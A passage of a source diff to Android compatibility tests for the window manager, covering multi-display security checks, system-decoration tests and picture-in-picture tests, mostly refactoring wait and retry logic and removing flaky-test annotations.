+        findPrivateDisplays();
+        assumeFalse("Skipping test: no physical private display found.",
+                mPrivateDisplayIds.isEmpty());
+    }
+
+    /** Saves physical private displays in mPrivateDisplayIds */
+    private void findPrivateDisplays() {
+        mPrivateDisplayIds.clear();
+        mAmWmState.computeState(true);
+
+        for (ActivityDisplay activityDisplay: getDisplaysStates()) {
+            int displayId = activityDisplay.mId;
+            Display display = mAmWmState.getWmState().getDisplay(displayId);
+            if ((display.getFlags() & FLAG_PRIVATE) != 0) {
+                mPrivateDisplayIds.add(displayId);
+            }
+        }
+    }
+
+    /**
+     * Tests launching an activity on a private display without special permission must not be
+     * allowed.
+     */
+    @Test
+    public void testCantLaunchOnPrivateDisplay() throws Exception {
+        // try on each private display
+        for (int displayId: mPrivateDisplayIds) {
+            separateTestJournal();
+
+            getLaunchActivityBuilder()
+                .setDisplayId(displayId)
+                .setTargetActivity(TEST_ACTIVITY)
+                .execute();
+
+            assertSecurityExceptionFromActivityLauncher();
+
+            mAmWmState.computeState(TEST_ACTIVITY);
+            assertFalse("Activity must not be launched on a private display",
+                mAmWmState.getAmState().containsActivity(TEST_ACTIVITY));
+        }
+    }
+
+    /**
+     * Tests
+     * {@link android.app.ActivityManager#isActivityStartAllowedOnDisplay(Context, int, Intent)}
+     * call to start an activity on private display is not allowed without special permission
+     */
+    @Test
+    public void testCantAccessPrivateDisplay() throws Exception {
+        final ActivityManager activityManager =
+            (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
+        final Intent intent = new Intent(Intent.ACTION_VIEW).setComponent(TEST_ACTIVITY);
+
+        for (int displayId: mPrivateDisplayIds) {
+            assertFalse(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
+                displayId, intent));
+        }
+    }
+
+    /**
+     * Tests
+     * {@link android.app.ActivityManager#isActivityStartAllowedOnDisplay(Context, int, Intent)}
+     * for a private display with INTERNAL_SYSTEM_WINDOW permission.
+     */
+    @Test
+    public void testCanAccessPrivateDisplayWithInternalPermission() throws Exception {
+        final ActivityManager activityManager =
+            (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
+        final Intent intent = new Intent(Intent.ACTION_VIEW)
+            .setComponent(TEST_ACTIVITY);
+
+        for (int displayId: mPrivateDisplayIds) {
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                assertTrue(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
+                    displayId, intent)), INTERNAL_SYSTEM_WINDOW);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
index b2654ee..dd32bbb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
@@ -17,7 +17,6 @@
 package android.server.wm;
 
 import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.StateLogger.logAlways;
 import static android.server.wm.app.Components.DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_BROADCAST_RECEIVER;
@@ -40,7 +39,7 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -55,26 +54,23 @@
 import android.content.Intent;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
-import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.ActivityManagerState.ActivityDisplay;
 import android.server.wm.ActivityManagerState.ActivityStack;
 import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.TestJournalProvider.TestJournalContainer;
 import android.util.SparseArray;
 import android.view.Display;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.WindowManager;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
 
 import org.junit.Before;
 import org.junit.Test;
 
-
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:MultiDisplaySecurityTests
@@ -82,6 +78,7 @@
  * Tests if be allowed to launch an activity on multi-display environment.
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class MultiDisplaySecurityTests extends MultiDisplayTestBase {
 
     @Before
@@ -405,17 +402,16 @@
 
     private void assertActivityStartCheckResult(boolean expected) {
         final String component = ActivityLauncher.TAG;
-        for (int retry = 1; retry <= 5; retry++) {
-            final Bundle extras = TestJournalProvider.TestJournalContainer.get(component).extras;
-            if (extras.containsKey(ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY)) {
-                assertEquals("Activity start check must match", expected, extras
-                        .getBoolean(ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY));
-                return;
-            }
-
-            logAlways("***Waiting for activity start check for " + component
-                    + " ... retry=" + retry);
-            SystemClock.sleep(500);
+        final Bundle resultExtras = Condition.waitForResult(
+                new Condition<Bundle>("activity start check for " + component)
+                        .setRetryIntervalMs(500)
+                        .setResultSupplier(() -> TestJournalContainer.get(component).extras)
+                        .setResultValidator(extras -> extras.containsKey(
+                                ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY)));
+        if (resultExtras != null) {
+            assertEquals("Activity start check must match", expected, resultExtras
+                    .getBoolean(ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY));
+            return;
         }
         fail("Expected activity start check from " + component + " not found");
     }
@@ -692,19 +688,6 @@
         }
     }
 
-    private void assertSecurityExceptionFromActivityLauncher() {
-        final String component = ActivityLauncher.TAG;
-        for (int retry = 1; retry <= 5; retry++) {
-            if (ActivityLauncher.hasCaughtSecurityException()) {
-                return;
-            }
-
-            logAlways("***Waiting for SecurityException from " + component + " ... retry=" + retry);
-            SystemClock.sleep(500);
-        }
-        fail("Expected exception from " + component + " not found");
-    }
-
     /**
      * Test that only private virtual display can show content with insecure keyguard.
      */
@@ -727,7 +710,6 @@
      * Test setting system decoration flag and show IME flag without sufficient permissions.
      */
     @Test
-    @FlakyTest(bugId = 130284250)
     public void testSettingFlagWithoutInternalSystemPermission() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             // The reason to use a trusted display is that we can guarantee the security exception
@@ -771,7 +753,6 @@
      * Test getting system decoration flag and show IME flag without sufficient permissions.
      */
     @Test
-    @FlakyTest(bugId = 130284250)
     public void testGettingFlagWithoutInternalSystemPermission() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             // The reason to use a trusted display is that we can guarantee the security exception
@@ -802,7 +783,6 @@
      * Test setting system decoration flag and show IME flag to the untrusted display.
      */
     @Test
-    @FlakyTest(bugId = 130284250)
     public void testSettingFlagToUntrustedDisplay() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             final ActivityDisplay untrustedDisplay = virtualDisplaySession.createDisplay();
@@ -849,7 +829,6 @@
      * Test getting system decoration flag and show IME flag from the untrusted display.
      */
     @Test
-    @FlakyTest(bugId = 130284250)
     public void testGettingFlagFromUntrustedDisplay() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             final ActivityDisplay untrustedDisplay = virtualDisplaySession.createDisplay();
@@ -871,7 +850,6 @@
      * Test setting system decoration flag and show IME flag to the trusted display.
      */
     @Test
-    @FlakyTest(bugId = 130284250)
     public void testSettingFlagToTrustedDisplay() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             final ActivityDisplay trustedDisplay = virtualDisplaySession
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 07a8dba..0a6b9c3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -24,6 +24,7 @@
 import static android.server.wm.app.Components.TEST_LIVE_WALLPAPER_SERVICE;
 import static android.server.wm.app.Components.TestLiveWallpaperKeys.COMPONENT;
 import static android.server.wm.app.Components.TestLiveWallpaperKeys.ENGINE_DISPLAY_ID;
+import static android.server.wm.BarTestUtils.assumeHasBars;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
@@ -64,8 +65,6 @@
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.ImeAwareEditText;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
@@ -84,7 +83,7 @@
 
 /**
  * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:SystemDecorationMultiDisplayTests
+ *     atest CtsWindowManagerDeviceTestCases:MultiDisplaySystemDecorationTests
  *
  * This tests that verify the following should not be run for OEM device verification:
  * Wallpaper added if display supports system decorations (and not added otherwise)
@@ -93,6 +92,7 @@
  * IME is shown if display supports system decorations (and not shown otherwise)
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase {
 
     @Before
@@ -130,7 +130,6 @@
      * Tests that wallpaper shows on secondary displays.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testWallpaperShowOnSecondaryDisplays() throws Exception {
         try (final ChangeWallpaperSession wallpaperSession = new ChangeWallpaperSession();
              final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession();
@@ -145,12 +144,10 @@
             final Bitmap tmpWallpaper = wallpaperSession.getTestBitmap();
             wallpaperSession.setImageWallpaper(tmpWallpaper);
 
-            mAmWmState.waitForWithWmState(
-                    (state) -> isWallpaperOnDisplay(state, decoredSystemDisplay.mId),
-                    "Waiting for wallpaper window to show");
-
             assertTrue("Wallpaper must be displayed on system owned display with system decor flag",
-                    isWallpaperOnDisplay(mAmWmState.getWmState(), decoredSystemDisplay.mId));
+                    mAmWmState.waitForWithWmState(
+                            state -> isWallpaperOnDisplay(state, decoredSystemDisplay.mId),
+                            "wallpaper window to show"));
 
             assertFalse("Wallpaper must not be displayed on the untrusted display",
                     isWallpaperOnDisplay(mAmWmState.getWmState(), untrustedDisplay.mId));
@@ -205,6 +202,7 @@
      */
     @Test
     public void testNavBarShowingOnDisplayWithDecor() throws Exception {
+        assumeHasBars();
         try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
             final ActivityDisplay newDisplay = externalDisplaySession
                     .setPublicDisplay(true).setShowSystemDecorations(true).createVirtualDisplay();
@@ -217,11 +215,11 @@
      * Test that navigation bar should not show on display without system decoration.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testNavBarNotShowingOnDisplayWithoutDecor() throws Exception {
+        assumeHasBars();
         try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
-            // Wait navigation bar show on default display and record the states.
-            mAmWmState.waitAndAssertNavBarShownOnDisplay(DEFAULT_DISPLAY);
+            // Wait for system decoration showing and record current nav states.
+            mAmWmState.waitForHomeActivityVisible();
             final List<WindowState> expected = mAmWmState.getWmState().getAllNavigationBarStates();
 
             externalDisplaySession.setPublicDisplay(true)
@@ -236,11 +234,11 @@
      * supports system decoration.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testNavBarNotShowingOnPrivateDisplay() throws Exception {
+        assumeHasBars();
         try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
-            // Wait navigation bar show on default display and record the states.
-            mAmWmState.waitAndAssertNavBarShownOnDisplay(DEFAULT_DISPLAY);
+            // Wait for system decoration showing and record current nav states.
+            mAmWmState.waitForHomeActivityVisible();
             final List<WindowState> expected = mAmWmState.getWmState().getAllNavigationBarStates();
 
             externalDisplaySession.setPublicDisplay(false)
@@ -385,7 +383,6 @@
 
     // IME related tests
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testImeWindowCanSwitchToDifferentDisplays() throws Exception {
         try (final TestActivitySession<ImeTestActivity> imeTestActivitySession = new
                 TestActivitySession<>();
@@ -436,7 +433,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testImeApiForBug118341760() throws Exception {
         final long TIMEOUT_START_INPUT = TimeUnit.SECONDS.toMillis(5);
 
@@ -476,7 +472,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testImeWindowCanSwitchWhenTopFocusedDisplayChange() throws Exception {
         // If config_perDisplayFocusEnabled, the focus will not move even if touching on
         // the Activity in the different display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index ef78bc7..eb90555 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -17,10 +17,8 @@
 package android.server.wm;
 
 import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.StateLogger.log;
-import static android.server.wm.StateLogger.logAlways;
 import static android.server.wm.UiDeviceUtils.pressSleepButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.server.wm.app.Components.VIRTUAL_DISPLAY_ACTIVITY;
@@ -40,34 +38,31 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.hasSize;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.res.Configuration;
 import android.graphics.Rect;
 import android.os.Bundle;
-import android.os.SystemClock;
 import android.provider.Settings;
 import android.server.wm.ActivityManagerState.ActivityDisplay;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.settings.SettingsSession;
 import android.util.Size;
-import android.util.SparseBooleanArray;
 import android.view.WindowManager;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.TestUtils;
+
 import org.junit.Before;
 
 import java.util.ArrayList;
@@ -240,21 +235,16 @@
         }
     }
 
-    protected void tapOnDisplayCenter(int displayId) {
-        final Rect bounds = mAmWmState.getWmState().getDisplay(displayId).getDisplayRect();
-        tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId);
+    void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
+        waitForOrFail("displays to be removed", () -> {
+            mAmWmState.computeState(true);
+            return !mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test);
+        });
     }
 
-    private void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
-        for (int retry = 1; retry <= 5; retry++) {
-            mAmWmState.computeState(true);
-            if (!mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test)) {
-                return;
-            }
-            logAlways("Waiting for hosted displays destruction... retry=" + retry);
-            SystemClock.sleep(500);
-        }
-        fail("Waiting for hosted displays destruction failed.");
+    void assertSecurityExceptionFromActivityLauncher() {
+        waitForOrFail("SecurityException from " + ActivityLauncher.TAG,
+            ActivityLauncher::hasCaughtSecurityException);
     }
 
     /**
@@ -462,7 +452,7 @@
 
     // TODO(b/112837428): Merge into VirtualDisplaySession when all usages are migrated.
     protected class VirtualDisplayLauncher extends VirtualDisplaySession {
-        private final ActivitySessionClient mActivitySessionClient = new ActivitySessionClient();
+        private final ActivitySessionClient mActivitySessionClient = createActivitySessionClient();
 
         ActivitySession launchActivityOnDisplay(ComponentName activityName,
                 ActivityDisplay display) {
@@ -510,6 +500,8 @@
             super(Settings.Global.getUriFor(Settings.Global.OVERLAY_DISPLAY_DEVICES),
                     Settings.Global::getString,
                     Settings.Global::putString);
+            // Remove existing overlay display to avoid display count problem.
+            removeExisting();
             mWm = context.getSystemService(WindowManager.class);
         }
 
@@ -534,15 +526,13 @@
                             display.mId, showSystemDecors, showIme));
                     if (requestShowSysDecors != showSystemDecors) {
                         mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
-                        TestUtils.waitUntil("Waiting for display show system decors",
-                                5 /* timeoutSecond */,
+                        waitForOrFail("display config show-system-decors to be set",
                                 () -> mWm.shouldShowSystemDecors(
                                         display.mId) == requestShowSysDecors);
                     }
                     if (requestShowIme != showIme) {
                         mWm.setShouldShowIme(display.mId, requestShowIme);
-                        TestUtils.waitUntil("Waiting for display show Ime",
-                                5 /* timeoutSecond */,
+                        waitForOrFail("display config show-IME to be set",
                                 () -> mWm.shouldShowIme(display.mId) == requestShowIme);
                     }
                 }
@@ -555,8 +545,7 @@
                 mWm.setShouldShowIme(state.mId, state.mShouldShowIme);
 
                 // Only need to wait the last flag to be set.
-                TestUtils.waitUntil("Waiting for the show IME flag to be set",
-                        5 /* timeoutSecond */,
+                waitForOrFail("display config show-IME to be restored",
                         () -> mWm.shouldShowIme(state.mId) == state.mShouldShowIme);
             }));
         }
@@ -570,6 +559,12 @@
                     .anyMatch(state -> state.mId == display.getDisplayId()));
         }
 
+        private void removeExisting() {
+            if (mHasInitialValue && mInitialValue != null) {
+                delete(mUri);
+            }
+        }
+
         private class OverlayDisplayState {
             int mId;
             boolean mShouldShowSystemDecors;
@@ -585,20 +580,12 @@
 
     /** Wait for provided number of displays and report their configurations. */
     List<ActivityDisplay> getDisplayStateAfterChange(int expectedDisplayCount) {
-        List<ActivityDisplay> ds = getDisplaysStates();
-
-        int retriesLeft = 5;
-        while (!areDisplaysValid(ds, expectedDisplayCount) && retriesLeft-- > 0) {
-            log("***Waiting for the correct number of displays...");
-            try {
-                Thread.sleep(1000);
-            } catch (InterruptedException e) {
-                log(e.toString());
-            }
-            ds = getDisplaysStates();
-        }
-
-        return ds;
+        return Condition.waitForResult("the correct number of displays=" + expectedDisplayCount,
+                condition -> condition
+                        .setReturnLastResult(true)
+                        .setResultSupplier(this::getDisplaysStates)
+                        .setResultValidator(
+                                displays -> areDisplaysValid(displays, expectedDisplayCount)));
     }
 
     private boolean areDisplaysValid(List<ActivityDisplay> displays, int expectedDisplayCount) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
index 1b0ca04..89ccb47 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.server.wm.StateLogger.log;
 import static android.server.wm.DialogFrameTestActivity.EXTRA_TEST_CASE;
@@ -65,6 +66,10 @@
         startTestCaseDocked(testCase);
         doSingleTest(t);
         activityRule().finishActivity();
+
+        mAmWmState.waitForWithAmState(amState -> !amState.containsStack(
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD),
+                "docked stack to be removed");
     }
 
     void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 98669b7..578c0c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
@@ -64,7 +65,7 @@
 import static android.server.wm.app27.Components.SDK_27_PIP_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.hamcrest.Matchers.lessThan;
 import static org.junit.Assert.assertEquals;
@@ -107,13 +108,14 @@
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
 
 /**
  * Build/Install/Run:
  * atest CtsWindowManagerDeviceTestCases:PinnedStackTests
  */
 @Presubmit
-@FlakyTest(bugId = 71792368)
+@android.server.wm.annotation.Group2
 public class PinnedStackTests extends ActivityManagerTestBase {
     private static final String TAG = PinnedStackTests.class.getSimpleName();
 
@@ -215,12 +217,7 @@
 
         try (final RotationSession rotationSession = new RotationSession()) {
             rotationSession.set(ROTATION_0);
-            mAmWmState.waitForWithWmState((wmState1) -> {
-                Rect db = wmState1.getDefaultPinnedStackBounds();
-                Rect sb = wmState1.getStableBounds();
-                return (db.width() > 0 && db.height() > 0) &&
-                        (sb.contains(db));
-            }, "Waiting for valid bounds..");
+            waitForValidPinnedStackBounds(WindowManagerState::getDefaultPinnedStackBounds);
             WindowManagerState wmState = mAmWmState.getWmState();
             wmState.computeState();
             Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
@@ -229,12 +226,7 @@
             assertTrue(stableBounds.contains(defaultPipBounds));
 
             rotationSession.set(ROTATION_90);
-            mAmWmState.waitForWithWmState((wmState1) -> {
-                Rect db = wmState1.getDefaultPinnedStackBounds();
-                Rect sb = wmState1.getStableBounds();
-                return (db.width() > 0 && db.height() > 0) &&
-                        (sb.contains(db));
-            }, "Waiting for valid bounds...");
+            waitForValidPinnedStackBounds(WindowManagerState::getDefaultPinnedStackBounds);
             wmState = mAmWmState.getWmState();
             wmState.computeState();
             defaultPipBounds = wmState.getDefaultPinnedStackBounds();
@@ -253,12 +245,7 @@
 
         try (final RotationSession rotationSession = new RotationSession()) {
             rotationSession.set(ROTATION_0);
-            mAmWmState.waitForWithWmState((wmState1) -> {
-                Rect db = wmState1.getPinnedStackMovementBounds();
-                Rect sb = wmState1.getStableBounds();
-                return (db.width() > 0 && db.height() > 0) &&
-                        (sb.contains(db));
-            }, "Waiting for valid bounds...");
+            waitForValidPinnedStackBounds(WindowManagerState::getPinnedStackMovementBounds);
             WindowManagerState wmState = mAmWmState.getWmState();
             wmState.computeState();
             Rect pipMovementBounds = wmState.getPinnedStackMovementBounds();
@@ -267,12 +254,7 @@
             assertTrue(stableBounds.contains(pipMovementBounds));
 
             rotationSession.set(ROTATION_90);
-            mAmWmState.waitForWithWmState((wmState1) -> {
-                Rect db = wmState1.getPinnedStackMovementBounds();
-                Rect sb = wmState1.getStableBounds();
-                return (db.width() > 0 && db.height() > 0) &&
-                        (sb.contains(db));
-            }, "Waiting for valid bounds...");
+            waitForValidPinnedStackBounds(WindowManagerState::getPinnedStackMovementBounds);
             wmState = mAmWmState.getWmState();
             wmState.computeState();
             pipMovementBounds = wmState.getPinnedStackMovementBounds();
@@ -282,8 +264,16 @@
         }
     }
 
+    private void waitForValidPinnedStackBounds(Function<WindowManagerState, Rect> boundsFunc) {
+        mAmWmState.waitForWithWmState(wmState -> {
+            final Rect bounds = boundsFunc.apply(wmState);
+            final Rect displayStableBounds = wmState.getStableBounds();
+            return bounds.width() > 0 && bounds.height() > 0
+                    && displayStableBounds.contains(bounds);
+        }, "valid pinned stack bounds");
+    }
+
     @Test
-    @FlakyTest // TODO: Reintroduce to presubmit once b/71508234 is resolved.
     public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
         final WindowManagerState wmState = mAmWmState.getWmState();
 
@@ -302,7 +292,7 @@
         final int stackId = getPinnedStack().mStackId;
         final int top = 0;
         final int left = displayRect.width() - 200;
-        resizeStack(stackId, left, top, left + 500, top + 500);
+        resizePinnedStack(stackId, left, top, left + 500, top + 500);
 
         // Ensure that the surface insets are not negative
         windowState = getWindowState(PIP_ACTIVITY);
@@ -640,7 +630,6 @@
                 WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
     }
 
-    @FlakyTest(bugId = 70746098)
     @Test
     public void testRemovePipWithHiddenFullscreenStack() throws Exception {
         // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
@@ -675,7 +664,6 @@
                 WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
     }
 
-    @FlakyTest(bugId = 70906499)
     @Test
     public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
         // Launch a fullscreen activity, and a pip activity over that
@@ -691,7 +679,6 @@
                 WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
     }
 
-    @FlakyTest(bugId = 70906499)
     @Test
     public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
         // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
@@ -816,6 +803,9 @@
         SystemUtil.runWithShellPermissionIdentity(() -> {
             try {
                 mAtm.startSystemLockTaskMode(task.mTaskId);
+                waitForOrFail("Task in lock mode", () -> {
+                    return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
+                });
                 mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
                 waitForEnterPip(PIP_ACTIVITY);
                 assertPinnedStackDoesNotExist();
@@ -827,7 +817,7 @@
         });
     }
 
-    @FlakyTest(bugId = 70328524)
+    @FlakyTest(bugId = 142282126)
     @Test
     public void testConfigurationChangeOrderDuringTransition() throws Exception {
         // Launch a PiP activity and ensure configuration change only happened once, and that the
@@ -1024,7 +1014,8 @@
         // got resumed.
         separateTestJournal();
         SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.resizeStack(stackId, new Rect(20, 20, 500, 500), true /* animate */));
+                () -> mAtm.resizePinnedStack(stackId, new Rect(20, 20, 500, 500),
+                        true /* animate */));
         mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
         mAmWmState.waitFor((amState, wmState) ->
                         !amState.containsActivity(TRANSLUCENT_TEST_ACTIVITY),
@@ -1035,6 +1026,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 139111392)
     public void testPinnedStackWithDockedStack() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
@@ -1145,7 +1137,6 @@
     }
 
     /** Test that reported display size corresponds to fullscreen after exiting PiP. */
-    @FlakyTest
     @Test
     public void testDisplayMetricsPinUnpin() throws Exception {
         separateTestJournal();
@@ -1228,7 +1219,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 71792368)
     public void testEnterPictureInPictureDiscardSavedPositionOnFinish() throws Exception {
         // Ensure we have static shelf offset by running this test over a non-home activity
         launchActivity(NO_RELAUNCH_ACTIVITY);
@@ -1278,7 +1268,7 @@
         } else {
             offsetBoundsOut.offset(0, -offsetY);
         }
-        resizeStack(stack.mStackId, offsetBoundsOut.left, offsetBoundsOut.top,
+        resizePinnedStack(stack.mStackId, offsetBoundsOut.left, offsetBoundsOut.top,
                 offsetBoundsOut.right, offsetBoundsOut.bottom);
     }
 
@@ -1413,7 +1403,7 @@
         mAmWmState.waitFor((amState, wmState) -> {
                 WindowStack stack = wmState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
                 return stack != null && !stack.mAnimatingBounds;
-            }, "Waiting for pinned stack bounds animation to finish");
+            }, "pinned stack bounds animation to finish");
     }
 
     /**
@@ -1423,7 +1413,7 @@
         mAmWmState.waitFor((amState, wmState) -> {
             return !amState.containsStack(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD)
                     && !wmState.containsStack(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
-        }, "Waiting for pinned stack to be removed...");
+        }, "pinned stack to be removed");
     }
 
     /**
@@ -1445,7 +1435,7 @@
             return lifecycles.getCount(ActivityCallback.ON_CONFIGURATION_CHANGED) == 1
                     && lifecycles.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_MODE_CHANGED) == 1
                     && lifecycles.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED) == 1;
-        }, "Waiting for picture-in-picture activity callbacks...");
+        }, "picture-in-picture activity callbacks...");
     }
 
     private void waitForValidAspectRatio(int num, int denom) {
@@ -1454,7 +1444,7 @@
         mAmWmState.waitForWithAmState((state) -> {
             Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
             return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
-        }, "waitForValidAspectRatio");
+        }, "valid aspect ratio");
     }
 
     /**
@@ -1502,7 +1492,7 @@
         Rect pinnedStackBounds = getPinnedStackBounds();
         int tapX = pinnedStackBounds.left + pinnedStackBounds.width() - 100;
         int tapY = pinnedStackBounds.top + pinnedStackBounds.height() - 100;
-        tapOnDisplay(tapX, tapY, DEFAULT_DISPLAY);
